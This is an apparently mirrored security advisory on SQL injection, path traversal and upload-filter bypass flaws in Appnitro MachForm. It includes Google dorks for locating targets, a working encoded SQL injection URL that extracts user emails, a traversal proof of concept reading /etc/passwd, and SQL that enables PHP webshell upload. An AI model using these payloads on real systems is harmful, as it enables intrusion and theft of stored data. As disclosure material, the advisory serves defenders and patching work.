Lucene search
K

Appnitro MachForm SQL Injection / Traversal / File Upload

🗓️ 28 May 2018 00:00:00Reported by Amine TaouirsaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 71 Views

Appnitro MachForm SQL Injection, Traversal, File Uploa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass Vulnerabilities
30 May 201800:00
zdt
Circl
CVE-2018-6409
30 May 201800:00
circl
Circl
CVE-2018-6410
30 May 201800:00
circl
Circl
CVE-2018-6411
30 May 201800:00
circl
CNVD
Appnitro MachForm SQL Injection Vulnerability
28 May 201800:00
cnvd
CNVD
Appnitro MachForm Path Traversal Vulnerability
11 Jun 201800:00
cnvd
CNVD
Appnitro MachForm File Upload Vulnerability
11 Jun 201800:00
cnvd
CVE
CVE-2018-6409
26 May 201822:00
cve
CVE
CVE-2018-6410
26 May 201822:00
cve
CVE
CVE-2018-6411
26 May 201822:00
cve
Rows per page
`Vendor: Appnitro  
Product webpage: https://www.machform.com/  
Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/  
Fix: https://www.machform.com/blog-machform-423-security-release/  
  
Author: Amine Taouirsa  
@metalamin  
  
Google dork examples:  
----------------------  
"machform" inurl:"view.php"  
"machform" inurl:"embed.php"  
  
Summary:  
---------  
The form creation platform MachForm from Appnitro is subject to SQL  
injections that lead to path traversal and arbitrary file upload.  
  
The application is widely deployed and with some google dorks itas possible  
to find various webpages storing sensitive data as credit card numbers with  
corresponding security codes. Also, the arbitrary file upload can let an  
attacker get control of the server by uploading a WebShell.  
  
[1] SQL injection (CVE-2018-6410):  
-------------------------  
  
[1.1] Description:  
The software is subject to SQL injections in the adownload.phpa file.  
  
[1.2] Parameters and statement:  
This SQLi can be found on the parameter aqa which a base64 encoded value  
for the following parameters:  
  
$form_id = $params['form_id'];  
$id = $params['id'];  
$field_name = $params['el'];  
$file_hash = $params['hash'];  
  
  
So the injectable parameters are aela and aform_ida obtaining error-based,  
stacked queries and time-based blind SQL injections. This is due to the  
following vulnerable statement:  
  
$query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`  
where id=?";  
  
  
[1.3] POC  
Proof of concept to get the first user mail:  
http:// [URL] / [Machform_folder]  
/download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=  
  
Which is the base64 encoding for:  
el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT  
MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT  
0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP  
BY x)a) ;&id=1&hash=1&form_id=1  
  
  
[2] Path traversal (CVE-2018-6409):  
-----------------------------------  
  
[2.1] Descrition  
download.phpa is used to serve stored files from the forms answers.  
Modifying the name of the file to serve on the corresponding ap_form table  
leads to a path traversal vulnerability.  
  
[2.2] POC  
First we need to change the name for the element on the form:  
update ap_form_58009 set  
element_4="../../../../../../../../../../../../../../../../etc/passwd"  
where id=1;  
  
Now in order to be able to download it, we need to access:  
http:// [URL] / [Machform_folder]  
/download.php?q=ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0NTgmZm9ybV9pZD01ODAwOQo=  
  
Which is the base64 encoding for;  
el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009  
  
Note that hash is the MD5 of the corresponding filename:  
md5("../../../../../../../../../../../../../../../../etc/passwd") =  
402ba0230d6f44a2de590ac11107a458  
  
[3] Bypass file upload filter (CVE-2018-6411):  
----------------------------------------------  
  
When the form is set to filter a blacklist, it automatically add dangerous  
extensions to the filters.  
If the filter is set to a whitelist, the dangerous extensions can be  
bypassed.  
  
This can be done directly on the database via SQLi  
update ap_form_elements set  
element_file_type_list="php",element_file_block_or_allow="a" where  
form_id=58009 and element_id=4;  
  
Once uploaded the file can be found and executed in the following URL:  
http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]  
  
The filename can be found in the database  
SELECT element_4 FROM ap_form_58009 WHERE id=1;  
  
--   
  
Amine Taouirsa  
  
Hacking | Head of Hacking Research  
  
[email protected]  
  
T. +34 917 281 504 | M. +34 644 486 240  
  
Avda. Llano Castellano, 43 28034 MADRID  
  
  
<http://www.innotecsystem.com/>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 May 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.12669
71